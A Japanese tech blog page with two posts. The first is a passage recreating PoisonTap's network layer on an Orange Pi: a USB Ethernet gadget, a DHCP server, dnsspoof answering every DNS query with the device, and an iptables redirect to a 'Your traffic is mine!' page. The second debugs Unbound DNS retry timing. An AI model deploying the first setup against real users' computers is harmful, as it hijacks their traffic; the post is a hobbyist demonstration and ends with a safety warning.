# echo -n 2 > /sys/bus/platform/devices/sunxi_usb_udc/otg_role

この状態で Orange Pi の OTG ポートと MacBook を USB ケーブルで接続してみると「RNDIS/Ethernet Gadget」というデバイスが自動で追加されます。まだ DHCP サーバを起動していないので、アドレスを手動で設定してあげます。

14

手動でアドレスを設定してから Orange Pi 宛に ping を投げるとちゃんと応答が返ってきます。

$ ping -c 3 1.0.0.1
PING 1.0.0.1 (1.0.0.1): 56 data bytes
64 bytes from 1.0.0.1: icmp_seq=0 ttl=64 time=0.431 ms
64 bytes from 1.0.0.1: icmp_seq=1 ttl=64 time=0.403 ms
64 bytes from 1.0.0.1: icmp_seq=2 ttl=64 time=0.452 ms

--- 1.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.403/0.429/0.452/0.020 ms

ひとまず、これで Orange Pi を USB Ethernet アダプタとして認識させることができました。

DHCP サーバの設定

この辺は手順だけ。まず、DHCP サーバをインストールします。

# apt-get install isc-dhcp-server

続いて、/etc/default/isc-dhcp-server を編集します。

INTERFACES="usb0"

/etc/dhcp/dhcpd.conf に最低限の設定を記述します。

ddns-update-style none;

default-lease-time 600;
max-lease-time 7200;

log-facility local7;

subnet 0.0.0.0 netmask 128.0.0.0 {
  range 1.0.0.2 1.0.0.254;
  option routers 1.0.0.1;
  option domain-name "example.org";
  option domain-name-servers 1.0.0.1;
}

DHCPサーバを起動させます。

# systemctl start isc-dhcp-server.service

DNS サーバの設定

dnsspoof が含まれている dnsniff パッケージをインストールします。

# apt-get install dsniff

ルーティングの設定をしてから dnsspoof を起動します。

# sysctl -w net.ipv4.ip_forward=1
# ip route add 0.0.0.0/0 dev usb0
# dnsspoof -i usb0 port 53 >/dev/null &

試しに MacBook 側から名前解決をしてみると、どのドメイン名に対しても Orange Pi のアドレスが返ってくることが確認できます。

$ dig www.klab.com

; <<>> DiG 9.8.3-P1 <<>> www.klab.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25391
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.klab.com.			IN	A

;; ANSWER SECTION:
www.klab.com.		60	IN	A	1.0.0.1

;; Query time: 738 msec
;; SERVER: 1.0.0.1#53(1.0.0.1)
;; WHEN: Tue Dec 20 16:26:56 2016
;; MSG SIZE  rcvd: 46

HTTP サーバの設定

動作確認用に HTTP サーバを立ててダミーのコンテンツを返すように設定します。

# apt-get install lighttpd

/etc/lighttpd/lighttpd.conf を編集して lighttpd の稼働ポートを 8080 に変更します。

server.port                 = 8080

設定を反映させるために lighttpd を再起動させます。

# systemctl restart lighttpd.service

どのアドレス宛に来たリクエストでも処理できるように iptables で REDIRECT の設定をしておきます。

# iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 8080

本当はどの URI にアクセスされてもコンテンツを返すように設定すべきですが、ここでは index のコンテンツだけ返すようにします。

# cat << EOF > /var/www/html/index.html
<html>
<head>
<title>Welcome To The Bad Network< /title>
</head>
<body style="background-color:#000000; color:#ff0000; text-align: center;">
<br/><br/><br/>
<h1>Your traffic is mine!</h1>
</body>
</html>
EOF

さて、この状態で MacBook からブラウザで適当なサイトの閲覧してみるとどうなるでしょうか...

37

見事に Orange Pi 上で動いている HTTP サーバのコンテンツが返りました。この PoisonTap もどきが接続されている限り、どのサイトにアクセスしてもこのコンテンツが返ります。(*HTTPS を除く)

おわりに

本当は Orange Pi 用の U-Boot や Kernel をビルドするところから書こうと思ったのですが、時間が全く足りないので、そのうち別の記事として書きます。(あと、USB Gadget の部分をさらっと書いたものの、本当は g_ether のモジュールをロードする際のパラメータ選定にものすごく苦労したのでその辺りも)

この記事の内容は PoisonTap のネットワーク周りの処理を再現しただけですが、これをベースに何か面白いものが作れないかと考えています。(絶賛アイディア募集中)

良い子のみんなは得体の知れない USB デバイスをつないじゃダメだよ!ラズパイオレパイおじさんとの約束だよ!


pandax381 at 19:53
この記事のURLComments(0)TrackBack(0)
2016年12月15日

Unbound のリトライ処理を追跡してみました

はてなブックマークに登録

この記事は KLab Advent Calendar 2016 の 15 日目の記事です。

こんにちは。大野です。

KLab では最近、ローカルの DNS キャッシュサーバとして Unbound を使うようになりました。

今までは dnscache を利用していたのですが、キャッシュ削除のためにプロセスを再起動しなければならなかったり、特定のレコードのみを削除することができないといった課題や一部の問合せをキャッシュサーバ内部で解決したいといった要求があり Unbound を導入するに至りました。

Unbound を運用していく中でつまずいた点もありましたので、今回この記事で紹介します。

ことの発端

とある案件で AWS を利用した構成の運用を任されていたのですが、アプリケーションのエラーログには以下のような記録が残っており、何らかの理由で RDS で運用している DB サーバの名前解決に失敗し接続できない問題が発生していました。

...
  File "/opt/klab/home/hoge/contents/python/lib/python/site-packages/pymysql/connections.py", line 688, in __init__
    self.connect ()
  File "/opt/klab/home/hoge/contents/python/lib/python/site-packages/pymysql/connections.py", line 937, in connect
    raise exc
sqlalchemy.exc.OperationalError: (pymysql.err.OperationalError) (2003, "Can't connect to MySQL server on 'db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com' ([Errno -2] Name or service not known)")

ここで名前解決のフローに注目してみます。

運用していたシステムでは名前解決にローカルの Unbound を利用していました。 ホストが他のホストに接続する際にはすべてローカルの Unbound を経由して名前解決がなされます。

アプリケーションが動作しているサーバでも同様に名前解決を行い、複数の DB サーバに対して接続を行っています。 DB サーバは RDS を利用して運用しているため、 Unbound での名前解決の問合せ先は 10.0.0.2 を指定していました。 アプリケーションのログからは何らかの理由で Unbound からクライアントに対して SERVFAIL が返されていて、名前解決を諦めていることが分かります。 RDS のホストのレコードの TTL は 5 秒になっていてレコードのキャッシュが切れるたびに 10.0.0.2 に問い合わせるのですが、どうやらその問合せの際に問題が発生していて、 Unbound が SERVFAIL を返すようです。

ということで以降では本題である Unbound を掘り下げていきます。

詳細の追跡

まずは Unbound のログを追っていきます。

名前解決に失敗する以上、名前解決のフローをログに出力するように設定します。

"Unbound documentation" https://www.unbound.net/documentation/unbound.conf.html

    verbosity: 2

Unbound では unbound.conf の verbosity の項目を 2 に設定し、 debug レベル以上のログが出力されるようにすると、以下のように SERVFAIL を返すまでの名前解決のフローが表示されるようになります。

Dec 14 01:20:56 unbound[8826:0] debug: iterator[module 0] operate: extstate:module_state_initial event:module_event_new
Dec 14 01:20:56 unbound[8826:0] info: resolving db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:56 unbound[8826:0] info: processQueryTargets: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:56 unbound[8826:0] info: sending query: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:56 unbound[8826:0] debug: sending to target: <.> 10.0.0.2#53
Dec 14 01:20:56 unbound[8826:0] debug: cache memory msg=17590 rrset=18512 infra=1009 val=0
Dec 14 01:20:56 unbound[8826:0] debug: iterator[module 0] operate: extstate:module_wait_reply event:module_event_noreply
Dec 14 01:20:56 unbound[8826:0] info: iterator operate: query db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:56 unbound[8826:0] info: processQueryTargets: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:56 unbound[8826:0] info: sending query: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:56 unbound[8826:0] debug: sending to target: <.> 10.0.0.2#53
Dec 14 01:20:56 unbound[8826:0] debug: cache memory msg=17590 rrset=18512 infra=1009 val=0
Dec 14 01:20:57 unbound[8826:0] debug: iterator[module 0] operate: extstate:module_wait_reply event:module_event_noreply
Dec 14 01:20:57 unbound[8826:0] info: iterator operate: query db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:57 unbound[8826:0] info: processQueryTargets: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:57 unbound[8826:0] info: sending query: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:20:57 unbound[8826:0] debug: sending to target: <.> 10.0.0.2#53
Dec 14 01:20:57 unbound[8826:0] debug: cache memory msg=17590 rrset=18512 infra=1009 val=0
Dec 14 01:21:00 unbound[8826:0] debug: iterator[module 0] operate: extstate:module_wait_reply event:module_event_noreply
Dec 14 01:21:00 unbound[8826:0] info: iterator operate: query db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:00 unbound[8826:0] info: processQueryTargets: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:00 unbound[8826:0] info: sending query: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:00 unbound[8826:0] debug: sending to target: <.> 10.0.0.2#53
Dec 14 01:21:00 unbound[8826:0] debug: cache memory msg=17590 rrset=18512 infra=1009 val=0
Dec 14 01:21:05 unbound[8826:0] debug: iterator[module 0] operate: extstate:module_wait_reply event:module_event_noreply
Dec 14 01:21:05 unbound[8826:0] info: iterator operate: query db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:05 unbound[8826:0] info: processQueryTargets: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:05 unbound[8826:0] info: sending query: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:05 unbound[8826:0] debug: sending to target: <.> 10.0.0.2#53
Dec 14 01:21:05 unbound[8826:0] debug: cache memory msg=17590 rrset=18512 infra=1009 val=0
Dec 14 01:21:14 unbound[8826:0] debug: iterator[module 0] operate: extstate:module_wait_reply event:module_event_noreply
Dec 14 01:21:14 unbound[8826:0] info: iterator operate: query db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:14 unbound[8826:0] info: processQueryTargets: db001.xxxxxxxxxxxx.xxxxxxxx.rds.amazonaws.com. A IN
Dec 14 01:21:14 unbound[8826:0] debug: configured forward servers failed -- returning SERVFAIL
Dec 14 01:21:14 unbound[8826:0] debug: return error response SERVFAIL
Dec 14 01:21:14 unbound[8826:0] debug: cache memory msg=17590 rrset=18512 infra=1009 val=0

このとき tcpdump でパケットをダンプしてみると、この Unbound は 10 回、 10.0.0.2 に問い合わせているように見えるのですが、 Unbound Timeout Info によると 5 回タイムアウトすると SERVFAIL を返すそうです。

Queries that failed to attain probe status, or if the server is blocked due to timeouts, get a reply with the SERVFAIL error. Also, if the available IP addresses for a domain have been probed for 5 times by a query it is also replied with SERVFAIL. New queries must come in to continue the probing.

Unbound は 1 回の問合せで応答が得られなかった場合、再送処理としてもう一度パケットを送信していて、この 2 回の問合せを 1 回のトライとして、 5 回のトライで応答が得られなかった場合に SERVFAIL を返すようです。 これ以上ログの出力レベルを上げることで各問合せの詳細をさらに出力することもできるのですが、大変に冗長になってしまいログが膨大なサイズになり流れてしまう可能性があります。 そのため、細かい単位での問合せの詳細を追うには tcpdump を使いパケットをダンプしたほうがよさそうです。

というわけで、ここに肝心のエラーが発生したときの tcpdump 結果があるので見ていきます。

0000-00-00 01:23:53.723674 IP (tos 0x0, ttl 64, id 6363, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.58995: [udp sum ok] 28426 q: A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.56 ar: . OPT UDPsize=4096 OK (91)
0000-00-00 01:23:59.008910 IP (tos 0x0, ttl 64, id 65362, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.61649 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0xf0ae!] 45680+% [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
0000-00-00 01:23:59.011944 IP (tos 0x0, ttl 64, id 6364, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.61649: [udp sum ok] 45680 q: A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.231 ar: . OPT UDPsize=4096 OK (91)
0000-00-00 01:23:59.019073 IP (tos 0x0, ttl 64, id 65363, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.41853 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0xcc92!] 8929+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
0000-00-00 01:23:59.069337 IP (tos 0x0, ttl 64, id 65365, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.56077 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x900f!] 12244+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
0000-00-00 01:23:59.119624 IP (tos 0x0, ttl 64, id 65367, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.9116 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0xd633!] 39201+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
0000-00-00 01:23:59.177145 IP (tos 0x0, ttl 64, id 65369, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.53906 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x9062!] 12028+% [1au] A? db021.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
0000-00-00 01:23:59.180150 IP (tos 0x0, ttl 64, id 6365, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.53906: [udp sum ok] 12028 q: A? db021.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db021.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.47 ar: . OPT UDPsize=4096 OK (91)
0000-00-00 01:23:59.219905 IP (tos 0x0, ttl 64, id 65380, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.64595 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x4a5a!] 21571+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
0000-00-00 01:23:59.270182 IP (tos 0x0, ttl 64, id 65386, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.61783 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x0725!] 39540+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
0000-00-00 01:23:59.370381 IP (tos 0x0, ttl 64, id 65391, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.7110 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x2a07!] 21796+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
0000-00-00 01:23:59.470732 IP (tos 0x0, ttl 64, id 65412, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.48543 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x2824!] 44333+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
0000-00-00 01:23:59.671118 IP (tos 0x0, ttl 64, id 65441, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.16698 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x501a!] 2461+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
0000-00-00 01:23:59.871559 IP (tos 0x0, ttl 64, id 65490, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.41675 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x1644!] 55777+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
0000-00-00 01:24:00.271760 IP (tos 0x0, ttl 64, id 53, offset 0, flags [none], proto UDP (17), length 103)
    10.0.2.241.52486 > 10.0.0.2.53: [bad udp cksum 0x1757 -> 0x9c38!] 12722+% [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
0000-00-00 01:24:01.021605 IP (tos 0x0, ttl 64, id 6366, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.56077: [udp sum ok] 12244 q: A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.56 ar: . OPT UDPsize=4096 OK (91)
0000-00-00 01:24:01.021665 IP (tos 0x0, ttl 64, id 6367, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.9116: [udp sum ok] 39201 q: A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.56 ar: . OPT UDPsize=4096 OK (91)
0000-00-00 01:24:01.021679 IP (tos 0x0, ttl 64, id 6368, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.61783: [udp sum ok] 39540 q: A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.56 ar: . OPT UDPsize=4096 OK (91)
0000-00-00 01:24:01.021703 IP (tos 0x0, ttl 64, id 6369, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.64595: [udp sum ok] 21571 q: A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.56 ar: . OPT UDPsize=4096 OK (91)
0000-00-00 01:24:01.021723 IP (tos 0x0, ttl 64, id 6370, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.2.241.7110: [udp sum ok] 21796 q: A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. [5s] A 10.0.7.56 ar: . OPT UDPsize=4096 OK (91)

4 行目から db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. のレコードに対する問合せが始まっています。 以降の行ではすぐに応答結果が得られず、問い合わせの再送処理が始まっていることが分かります。

そして 3 回目の問合せ (Unbound 的には 2 回目の問合せの 1 回目の問合せ) の後に他のレコード db021.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. への問い合わせがあります。 しかし、直後にこの問合せの結果はすぐに得ることができています。 その後も db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. の応答は返されることがなく、 Unbound からパケットが 10 回に渡って送信され、 Unbound が Timeout してから応答が返ってきています。 どうやら、問合せ先の 10.0.0.2 が特定のレコードの問合せに対して、応答が遅れることが原因としてあるようです。

Unbound の最初の問合せから最後の問合せの間隔を見ていきましょう。

1 回目の問合せ (01:23:59.019073)
2 回目の問合せ (01:23:59.069337) + 50 ms
3 回目の問合せ (01:23:59.119624) + 50 ms
4 回目の問合せ (01:23:59.219905) + 100 ms
5 回目の問合せ (01:23:59.270182) + 50 ms
6 回目の問合せ (01:23:59.370381) + 100 ms
7 回目の問合せ (01:23:59.470732) + 100 ms
8 回目の問合せ (01:23:59.671118) + 200 ms
9 回目の問合せ (01:23:59.871559) + 200 ms
10 回目の問合せ (01:24:00.271760) + 400 ms

一定の間隔を空けて、リトライ処理や再送処理が行われているように見えますが、他のレコードに対する問合せが走行したタイミング (3 回目と 4 回目の問合せ間) で問合せの間隔がリセットされているように見えます。

リトライ処理中に他のレコードに対する問合せがない Unbound の処理について再送間隔を見てみましょう (tcpdump の結果は省略します) 。

1 回目の問合せ (09:48:53.980913)
2 回目の問合せ (09:48:54.031078) + 50ms
3 回目の問合せ (09:48:54.081281) + 50ms
4 回目の問合せ (09:48:54.181447) + 100ms
5 回目の問合せ (09:48:54.281630) + 100ms
6 回目の問合せ (09:48:54.481851) + 200ms
7 回目の問合せ (09:48:54.682216) + 200ms
8 回目の問合せ (09:48:55.082701) + 400ms
9 回目の問合せ (09:48:55.483326) + 400ms
10 回目の問合せ (09:48:56.284297) + 800ms

初めは 50ms だった再送間隔がリトライ処理を重ねるにつれ、倍になっているのが分かります。

どうやら、問合せの走行中に他のレコードに対する問合せを同じ DNS サーバに対して行い、応答を受け取ることができると、再送間隔がリセットされている可能性がありそうです。

本当にそういった状況で今回の現象が発生するのか、再現環境を構築して見ていきます。

再現 & 検証

再現環境を用意するためには、特定のレコードに対する問合せが応答を返さずタイムアウトする環境を用意する必要がありそうです。 要件としては特定のクエリの応答を受け取らなければよいだけなので、今回は Netfilter の string モジュールを使い、応答結果のパケットを DROP することで検証を行いました。

以下に検証の手順を残しておきます。

# SRTT を計算する
for i in $(seq 10 200); do dig @127.0.0.1 +tries=1 +retries=1 db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com; dig @127.0.0.1 +tries=1 +retries=1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com; sleep 5s; done

iptables -A INPUT -i eth0 -p udp -s 10.0.0.2/32 -m string --string 'db001' --algo bm --sport 53 -j DROP
tcpdump -tttt -vv -n host 10.0.0.2
time dig +time=20 +tries=1 +retries=1 db001.xxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com& sleep 0.25s; time dig +time=20 +tries=1 +retries=1 db011.xxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com

同様に tcpdump でパケットキャプチャを行ったのですが、結果は以下のようになりました (db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. の応答は省略しています) 。

2016-12-14 05:51:10.578120 IP (tos 0x0, ttl 64, id 13830, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.18425 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0xd18f!] 46972+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
2016-12-14 05:51:10.703403 IP (tos 0x0, ttl 64, id 13858, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.20472 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0x2b20!] 24045+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
2016-12-14 05:51:10.828773 IP (tos 0x0, ttl 64, id 13882, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.57086 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0xfdc3!] 62530+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
2016-12-14 05:51:11.078512 IP (tos 0x0, ttl 64, id 13911, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.48558 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0x0215!] 4162+ [1au] A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
2016-12-14 05:51:11.078934 IP (tos 0x0, ttl 64, id 13912, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.29401 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0xaeaa!] 46977+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
2016-12-14 05:51:11.155562 IP (tos 0x0, ttl 64, id 63125, offset 0, flags [none], proto UDP (17), length 119)
    10.0.0.2.53 > 10.0.65.4.48558: [udp sum ok] 4162 q: A? db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. 1/0/1 db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. A 10.0.3.242 ar: . OPT UDPsize=4096 OK (91)
2016-12-14 05:51:11.329385 IP (tos 0x0, ttl 64, id 13922, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.39718 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0xea21!] 19389+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
2016-12-14 05:51:11.484734 IP (tos 0x0, ttl 64, id 13943, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.58656 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0x18ea!] 56058+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
2016-12-14 05:51:11.640151 IP (tos 0x0, ttl 64, id 13963, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.16822 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0x4f48!] 16391+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
2016-12-14 05:51:11.950629 IP (tos 0x0, ttl 64, id 14002, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.9942 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0x446a!] 28101+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)
2016-12-14 05:51:12.261191 IP (tos 0x0, ttl 64, id 14064, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.50418 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0x510a!] 47880+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1480 OK (75)
2016-12-14 05:51:12.882042 IP (tos 0x0, ttl 64, id 14182, offset 0, flags [none], proto UDP (17), length 103)
    10.0.65.4.42999 > 10.0.0.2.53: [bad udp cksum 0x556a -> 0xb35c!] 32177+ [1au] A? db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com. ar: . OPT UDPsize=1472 OK (75)

再送の間隔についても計算すると以下のようになりました。

1 回目の問合せ (05:51:10.578120)
2 回目の問合せ (05:51:10.703403) + 125ms
3 回目の問合せ (05:51:10.828773) + 125ms
4 回目の問合せ (05:51:11.078934) + 250ms
5 回目の問合せ (05:51:11.329385) + 250ms
6 回目の問合せ (05:51:11.484734) + 125ms
7 回目の問合せ (05:51:11.640151) + 125ms
8 回目の問合せ (05:51:11.950629) + 250ms
9 回目の問合せ (05:51:12.261191) + 250ms
10 回目の問合せ (05:51:12.882042) + 500ms

今回ブログ記事を執筆するにあたり、最新版の Unbound-1.5.10 で再度検証してみたのですが、無事に仮説を実証することができました。 問合せのリトライ処理の走行中に他の問合せが走行して応答が得られると送信間隔がリセットされる確証が得られました。

まとめ & 考察

今回の問題について対応を考える前に、ここまでを簡単にまとめます。

  • DNS サーバの応答が遅れて、Unbound がタイムアウトして SERVFAIL を返す
  • Unbound がタイムアウトして SERVFAIL 返すのは DNS サーバへの 5 回の問合せ ( 10 回のパケットの送信) の間に応答が得られない場合
  • Unbound は間隔を指数的に空けて再度問合せを行うが、同一の DNS サーバに対する他の問合せが成功すると再送間隔がリセットされる
  • レコードが異なっても問合せ先の DNS サーバが同じ以上、 Unbound が再送処理中の問合せ以外の問合せが成功すれば、リトライ間隔をリセットするのは理にかなった実装です。 しかし、このままだと同じ DNS サーバに対する他のレコードの問合せが増加するほど、この現象が発生しやすくなるため、場合によってはサーバが応答を返すのに Unbound が待つ時間は 500 ms 程度になってしまう可能性があります。

    問合せから応答の SERVFAIL が返される時間があまりにも短いと、権威サーバから SERVFAIL が返って来て名前解決に失敗しているのか、 Unbound がタイムアウトしているのか判断がつかず、問題の切り分けの際にも困ります。

    よって、 Unbound のタイムアウトを安定して延ばすため、再送間隔が他の問合せの影響を受けないような対応を考えたいと思います。

    対応策の検討

    対応としては今回、 forward-zone を分けることで対応できることを確認しました。

    #   Forward-Zone section
    forward-zone:
      name: "db001.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com"
      forward-addr: 10.0.0.2
    
    forward-zone:
      name: "db011.xxxxxxxxxxxx.xxxxxxxxx.rds.amazonaws.com"
      forward-addr: 10.0.0.2
    

    内部の RTT や再送間隔を管理している構造体が独立して分かれるため、それぞれのレコードに対する問合せが影響することはありません。 しかし、あくまで暫定的な対応となるためおすすめはできません。 そのため、ソースコードのパッチ作成も考えたのですが、他のキャッシュサーバがどのようにリトライ処理を行っているのか気になるところなので、そちらを調査してからソースコードのパッチを作成することを検討しています。

    以上、長くなりましたが Unbound のリトライ処理時の挙動について調査したお話でした。

    最後になりますが、この問題を調査するにあたり、 @pandax381 さんに SRTT の概念や Netfilter の string モジュールについてアドバイスいただきました。ありがとうございます!

    明日の KLab Advent Calendar 2016jukey17 さんです。


    klab_gijutsu2 at 18:00
    この記事のURLComments(0)TrackBack(0)
